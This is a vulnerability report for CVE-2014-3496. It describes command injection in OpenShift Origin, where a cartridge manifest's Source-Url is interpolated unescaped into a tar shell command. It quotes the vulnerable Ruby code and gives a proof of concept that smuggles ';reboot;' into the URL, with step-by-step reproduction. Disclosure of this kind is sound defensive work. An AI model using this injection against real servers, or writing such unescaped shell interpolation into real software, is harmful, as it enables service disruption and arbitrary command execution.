Bug 1110470 (CVE-2014-3496)

Jeremy Choi of Red Hat reports:

OpenShift Origin does not properly validated 'Source-Url' of cartridge manifest files to create applications and so commands injected like below in it will be executed in the node. 

  Source-Url: http://name-app.example.com/test/test;reboot;.tar.gz 

Attacks can also succeed when the source-URL ends with .zip, .tgz and .tar. The file specified in Source-Url must be available from the URL for the successful attack.

In cartridge_repository.rb:

498           temporary = PathUtils.join(File.dirname(target), File.basename(cartridge.source_url))
(deleted for brevity)
519             when uri.scheme =~ /^https*/ && cartridge.source_url =~ /(\.tar\.gz|\.tgz)$/
520               begin
521                 uri_copy(URI(cartridge.source_url), temporary, cartridge.source_md5)
522                 extract(:tgz, temporary, target)
523               ensure
524                 FileUtils.rm(temporary)
525               end
(deleted for brevity)
617       def self.extract(method, source, target)
618         case method
622           when :tgz
623             Utils.oo_spawn("/bin/tar -C #{target} -zxpf #{source}",
624                            expected_exitstatus: 0)


The system command execution in line 623 will run #{source} which is comprised of cartridge.source_url. While the source url is validated in manifest.rb, still ';' can be injected.

370         if @manifest.has_key?('Source-Url')
371           raise InvalidElementError.new('Source-Url') unless @manifest['Source-Url'] =~ URI::ABS_URI
372           @source_url = @manifest['Source-Url']


The PoC below has been shown in Online devenv_4873

1. Create a devenv.
2. Place a malformed manifest file with Source-Url modified in a host the devenv can access. 
  
  Source-Url: http://<host>/test;reboot;.tar.gz 

3. Create "test;reboot;.tar.gz" at the path of Source-Url in the host.
4. Try to create a cartridge with the malformed manifest.
    $ rhc app create app1 http://<host>/manifest.yml --no-git

The devenv will reboot.